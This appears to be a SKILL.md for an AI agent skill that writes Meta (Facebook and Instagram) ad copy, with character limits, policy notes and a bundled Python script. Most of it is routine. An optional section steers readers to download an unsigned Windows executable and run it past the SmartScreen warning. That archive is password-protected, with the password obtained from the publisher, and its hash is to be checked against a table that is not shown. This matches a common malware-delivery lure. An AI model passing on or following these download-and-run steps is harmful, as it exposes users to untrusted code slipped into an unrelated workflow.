Meta Ads Creative Builder

Turns an offer brief into Meta ad copy for Facebook and Instagram placements, with the 125/40/25 character limits and policy checks applied. Written for US DTC brands and in-house social buyers running Facebook and Instagram ad campaigns.

Use this skill when someone asks for:

• meta ads creative builder
• facebook ad copy generator
• instagram ad headline limits
• meta ad primary text character limit

The job

Media buyers rebuild the same ad set for every placement, the copy gets truncated in the feed, and a policy rejection eats a day of launch time.

What you get

1. Collect the offer, the proof points, the landing page and the phrases the brand is not allowed to use.
2. Write one primary text, one headline and one description that survive the placement limits.
3. Map the copy to the placement ratios the team actually ships: feed, stories, reels, marketplace.
4. List every claim that still needs a source and every line that reads as an assumption about the viewer.

Output contract:

• primary_text - one field within the 125 character recommendation, the offer first
• headline - one field within the 40 character recommendation
• description - one field within the 25 character recommendation
• placement_map - the copy-to-ratio mapping for feed, stories and reels
• claim_checks - every price, comparison and superlative paired with the source the team must supply

US specifics that matter

• Meta's own creative guidance recommends 125 characters for the primary text field, 40 for the headline field and 25 for the description field, because longer text is truncated on most placements.
• Meta's Advertising Standards forbid ads that assert or imply personal attributes, including health conditions, financial status, race, religion, age and sexual orientation.
• Meta reviews ads before delivery and states that ads may be rejected at any time, including after a campaign has started running.
• Meta's recommended image ratios for feed placements run from 1:1 to 4:5, and 9:16 for stories and reels.

Guardrails (hard rules)

• Never invent a testimonial, a rating, an award or a performance number.
• Never copy a competitor's ad text or reuse their offer wording.
• Never write copy that assumes a personal attribute of the viewer, such as a health condition, a financial situation or a family status.
• Never create, edit or publish an ad in the user's account; the media buyer uploads it.

Quickstart

1. Fill in the brief

templates/meta-creative-brief.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_meta_brief.py --input meta-creative-brief.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/meta-ad-specs.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Field limits that bite

• Primary text: 125 characters is the recommended length for most placements.
• Headline: 40 characters, description: 25 characters in Meta's own guidance.
• Text longer than the limit is truncated, not rejected, so the hook has to sit in the first line.

Policy lines that cause rejections

• No asserting or implying personal attributes: health, financial status, race, religion, age, sexual orientation, disability, criminal record.
• No profanity, no attacks on people or businesses, no claims the advertiser cannot substantiate.
• Brand content that looks like an endorsement needs a disclosure; the brand carries that duty, not the platform.

What a creative brief has to carry

• The offer, the price, the expiration and what happens if the claim is challenged.
• The proof the team may use and the source for each number.
• The landing page URL and the placement each crop is built for.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/meta-ad-specs.md - Meta ad copy limits and the rules that get ads rejected
• templates/meta-creative-brief.yaml - the brief to fill in
• scripts/build_meta_brief.py - the working script

Verify the bundle

python3 scripts/build_meta_brief.py --input meta-creative-brief.yaml --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.